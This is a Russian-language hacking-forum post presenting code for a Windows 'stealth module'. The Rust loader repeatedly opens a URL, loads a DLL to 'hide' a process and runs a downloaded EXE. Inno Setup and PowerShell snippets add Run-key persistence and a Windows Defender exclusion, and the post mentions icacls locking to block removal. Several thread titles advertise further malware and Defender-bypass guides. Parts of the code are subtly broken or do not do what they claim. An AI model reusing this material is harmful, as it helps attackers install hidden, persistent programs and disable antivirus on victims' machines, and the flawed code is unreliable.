Статья Создание стелс-модуля на Rust: динамическая загрузка DLL и автозапуск

devqp

Специалист
Функционал исполняемого файла:
1. Циклическое открытие URL в браузере каждые 20 секунд
2. Динамическая загрузка DLL с функцией скрытия процесса
3. Загрузка и выполнение обновлённого EXE из Documents
4. Автозапуск через системный реестр

Пример Rust-кода:
Код:
use std::{fs::File, path::PathBuf, process::Command};
use libloading::{Library, Symbol};

fn main() {
    loop {
        webbrowser::open("https://...").unwrap();
        
        let lib = Library::new("x.dll").unwrap();
        unsafe {
            let hide_process: Symbol<unsafe extern "C" fn() -> i32> = lib.get(b"HideProcess").unwrap();
            hide_process();
        }

        Command::new("downloaded.exe").spawn().unwrap();
        thread::sleep(Duration::from_secs(20));
    }
}

DLL-функция для скрытия процесса (C++):
Код:
#include <Windows.h>

extern "C" __declspec(dllexport) int HideProcess() {
    STARTUPINFO si{sizeof(STARTUPINFO)};
    PROCESS_INFORMATION pi;
    return CreateProcess(NULL, L"exe.exe", NULL, NULL, FALSE, 
        CREATE_NO_WINDOW, NULL, NULL, &si, &pi) ? 0 : -1;
}

Настройка автозапуска через Inno Setup:
Код:
[Registry]
Root: HKCU; Subkey: "Software\Microsoft\Windows\CurrentVersion\Run";
ValueType: string; ValueName: "MyApp"; ValueData: "{app}\app.exe"

[Code]
procedure DisableRealTimeScanning;
begin
  Exec('powershell', '-Command Add-MpPreference -ExclusionPath "{app}"', '', SW_HIDE);
end;

Особенности реализации:
• Использование tokio runtime для асинхронной загрузки файлов
• Манипуляции с ACL через icacls для блокировки удаления EXE
• Обход Windows Defender через добавление исключений
• Персистентность через запись в ветку реестра Run
 
Похожие темы
devqp Статья Создание Bad USB на базе Digispark за $3 Уязвимости и взлом 0
devqp Статья Создание анонимных аккаунтов Telegram через виртуальные номера и облачные эмуляторы Анонимность и приватность 0
Admin Интересно Нейросеть с пониманием физики ускорила создание оптических материалов. Новости в сети 0
Admin Интересно Пентагон планирует создание кибервойск для противостояния России и Китаю. Новости в сети 0
Admin Интересно Искусственный интеллект ускоряет создание вредоносных инструментов. Новости в сети 0
Admin Интересно SpaceX получила крупный контракт на создание военной орбитальной сети. Новости в сети 0
Admin Интересно Армянского программиста экстрадировали в США за создание вредоноса RedLine. Новости в сети 0
Admin Интересно NASA меняет стратегию освоения Луны, планируя создание инфраструктуры на её поверхности. Новости в сети 0
Admin Статья Создание крестражей или как дать вторую жизнь файловой безопасности Анонимность и приватность 0
Admin Статья Создание страницы для команды Django Полезные статьи 0
Admin Статья Пароли. Создание и хранение. Анонимность и приватность 0
Admin Статья Создание поддельной точки доступа (fake access point) Полезные статьи 0
Admin Статья LLM-Polymorphism: Создание самоизменяющегося кода с помощью нейросетей. Вирусология 0
wrangler65 Создание Powershell Shellcode Downloader для обхода Defender Ч.2 Полезные статьи 0
wrangler65 Создание Powershell Shellcode Downloader для обхода Defender (Без обхода Amsi) Полезные статьи 0
wrangler65 Создание незаметного вредоносного ПО Ч.2 Полезные статьи 0
wrangler65 Интересно Создание незаметного вредоносного ПО для Windows (C2-фреймворк Villain + обфускация PowerShell + недетектируемая доставка) Полезные статьи 0
Support81 Цифровая угроза нового уровня: США обсуждают создание отдельного киберподразделения Новости в сети 0
W Разработка софта, администрирование | Создание Ботов, Парсеров, обход CAPTCHA, автоотрисовщики Ищу работу. Предлагаю свои услуги. 0
G Создание | Сайтов | Ботов | Скриптов| Лендинга | Программирование 0
SKYLL На проверке Создание сайтов/ботов разной сложности Ищу работу. Предлагаю свои услуги. 1
N Создание фейка Предоставляю работу. Ищу специалиста. 1
L ✔️ УДАЛЕНИЕ НЕГАТИВНОЙ ИНФОРМАЦИИ | УДАЛЕНИЕ СТАТЕЙ | ВИДЕО YOUTUBE | СОЗДАНИЕ РЕПУТАЦИИ | ДИСКРЕДИТАЦИЯ | КОМПРОМАТ | ОТЗЫВЫ | ЭКСКЛЮЗИВ Ищу работу. Предлагаю свои услуги. 11
DOMINUS Полиция задержала 18 человек за создание финансовой пирамиды Новости в сети 0
Q QUALITY ABSOLUTE SERVICE - СОЗДАНИЕ СЕРВИСОВ С ГОТОВЫМ САЙТОМ / БОТОВ / СОФТОВ / СКРИПТОВ Услуги дизайнеров и веб-разработчиков. 1
Q ♥️ ФОТОШОП / СОЗДАНИЕ ЛОГОТИПОВ / СЕРВИСОВ С ГОТОВЫМ САЙТОМ Ищу работу. Предлагаю свои услуги. 1
DOMINUS Создание резервной копии реестра Свободное общение 0
С Создание и размещение тем на 700+ форумах (увеличение клиентов до 50%) Услуги дизайнеров и веб-разработчиков. 1
adflak Создание, разработка, продвижение мобильных приложений в Иркутске iOS/Android заказать! Ищу работу. Предлагаю свои услуги. 0
S Рассылка на форумах и телеграмм чатах/создание и ведение аккаунтов Ищу работу. Предлагаю свои услуги. 1
Y Пароли. Создание и хранение Полезные статьи 3
Admin Интересно Создание своего Shadowsocks + v2ray + tor [Часть 2] Анонимность и приватность 5
Admin Интересно Создание своего Shadowsocks и обфускация трафика [Часть 1] Анонимность и приватность 2
C [CodePrasya]- Создание сайтов, софта любых сложностей|| Website development, software of any complexity. Ищу работу. Предлагаю свои услуги. 10
Y Hyper-V. Создание большого количества виртуальных машин Полезные статьи 0
A Создание сайтов Предоставляю работу. Ищу специалиста. 0
E Интересно Wi-Fi перехватчик данных( создание точки доступа ) Уязвимости и взлом 7
R Создание сайтов Услуги дизайнеров и веб-разработчиков. 0
S Качественные услуги по веб-программированию: создание, обслуживание, поддержка и доработка сайтов Услуги дизайнеров и веб-разработчиков. 1
B Создание и раскрутка телеграм каналов. Полный гайд (2020) Готовый софт 0
B Создание чат-ботов без программирования за 1 час Готовый софт 0
B ⭐️СОЗДАНИЕ ВИДЕО ОТЗЫВОВ НА ЗАКАЗ!⭐️ Ищу работу. Предлагаю свои услуги. 1
ev0117434 Интересно Создание вредоносных QR-кодов для взлома телефонов и других устройств Уязвимости и взлом 11
P Создание HTML-писем/Рандомизация текста | Creating HTML-letters/Text Randomization Услуги дизайнеров и веб-разработчиков. 0
D Создание аккаунта Предоставляю работу. Ищу специалиста. 0
АнАлЬнАя ЧуПаКаБрА INLINE Создание лендингов.(RU) Готовый софт 0
T Пошаговое создание своего Bootkit'a [ЧАСТЬ 2] Программирование 0
T Пошаговое создание своего Bootkit'a [ЧАСТЬ 1] Программирование 4
K Курс «Создание чат-ботов без программирования за 1 час» Раздачи и сливы 1
K MySQL 5. Проектирование и создание баз данных для web Раздачи и сливы 0

Название темы